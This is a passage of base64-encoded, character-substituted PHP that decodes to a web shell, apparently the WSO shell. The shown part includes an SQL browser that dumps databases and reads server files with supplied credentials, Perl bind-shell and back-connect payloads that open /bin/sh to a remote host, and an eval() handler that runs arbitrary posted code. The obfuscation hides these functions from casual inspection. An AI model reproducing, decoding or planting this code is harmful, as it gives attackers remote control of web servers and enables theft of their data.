zJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJfTsNCgkkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQoJNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KCQkkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCSRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KCQkJCSRkYi0+ZDNtcCgkdik7DQogICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9IDVsczU0ZigkZnAgPSBAZjJwNW4oJF9QT1NUWydmNGw1J10sICd3JykpIHsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIDNuczV0KCRfUE9TVFsncGEnXSk7DQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgIg0KPGg2PlNxbCBicjJ3czVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5ONXR3MnJrKCkgew0KCXdzMkg1MWQ1cigpOw0KCSRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KCSRiNG5kX3AycnRfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dmNhZ2dMV2s0T3cwSzFXWWdLRUJCVWtkV0lEd2dNU2tnNXlCbDVHbDBLREVwT3lCOURRcDZjYVVnVWE5ajFhVjBPdzBLY2E5ajFhVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVNlJTUlVGTkxHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LU2tnZkh3Z1pHbGxJQ0pEWVdpMElHTnlaV0YwWlNCemJhTnJaWFJjYjRJN0RRcHpaWFJ6YmFOcmJvQjBLRk1zVTA5TVg2TlBRMHRGVkN4VFQ2OVNSVlZUUlVGRVJGSXNNU2s3RFFwNDFXaWtLRk1zY2E5ajFhRmtaSEpmMVd1MkpFRlNSNlpiTUYwc1NVaUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQTRRYUYzZENCdmNHVjNJSEJ2Y25SY2I0STdEUXBzMVhOMFpXdTJVeXd6S1NCOGZDQmsxV1VnSWtOaGJuUWdiR2x6ZEdWM0lIQnZjblJjYjRJN0RRcG8xR2xzWlNneEtTQjdEUTJKWVdOalpYQjBLRU5QVGt1c1V5azdEUTJKMVdZMklTZ2tjR2xrUFdadmNtc3BLU0I3RFEySkNXUnBaU0E0UWFGM2JtOTBJR1p2Y21zNElHbG1JQ2doWkdWbTFXaWxaQ0FrY0dsa0tUc05DZ2tKYm9CbGI0QlRWRVJKVDR3NFBDWkRUMGlPSWpzTkNna0pib0JsYjRCVFZFUlBWVlFzSWp1bVEwOU9UNEk3RFEySkNXOXdaV3VnVTZSRVJWSlNMQ0krSmtOUFRrdTRPdzBLQ1FsbDVHVmpJQ1JUU0VWTVRDQjhmQ0JrMVdVZ2NISnBiblFnUTA5T1Q0QTRRYUYzZENCbDVHVmpkWFJsSUNSVFNFVk1URngzSWpzTkNna0pZYXh2Y2FVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgk1Y2gyICI8aDY+TjV0dzJyayB0MjJsczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYnBwJyx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CNG5kIHAycnQgdDIgL2I0bi9zaCBbcDVybF08L3NwMW4+PGJyLz4NCglQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQoJPC9mMnJtPg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CMWNrLWMybm41Y3QgIFtwNXJsXTwvc3Axbj48YnIvPg0KCVM1cnY1cjogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3M1cnY1cicgdjFsMzU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KCTwvZjJybT48YnI+IjsNCgk0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQoJCWYzbmN0NDJuIGNmKCRmLCR0KSB7DQoJCQkkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQoJCQk0Zigkdyl7DQoJCQkJQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KCQkJCUBmY2wyczUoJHcpOw0KCQkJfQ0KCQl9DQoJCTRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgew0KCQkJY2YoIi90bXAvYnAucGwiLCRiNG5kX3AycnRfcCk7DQoJCQkkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KCQkJNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBicC5wbCIpLiI8L3ByNT4iOw0KICAgICAgICAgICAgM25sNG5rKCIvdG1wL2JwLnBsIik7DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5SQygpIHsNCgk0ZighQCRfUE9TVFsncDYnXSkgew0KCQkkMSA9IDFycjF5KA0KCQkJIjNuMW01IiA9PiBwaHBfM24xbTUoKSwNCgkJCSJwaHBfdjVyczQybiIgPT4gcGhwdjVyczQybigpLA0KCQkJIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQoJCSk7DQoJCTVjaDIgczVyNDFsNHo1KCQxKTsNCgl9IDVsczUgew0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJfQ0KfQ0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFj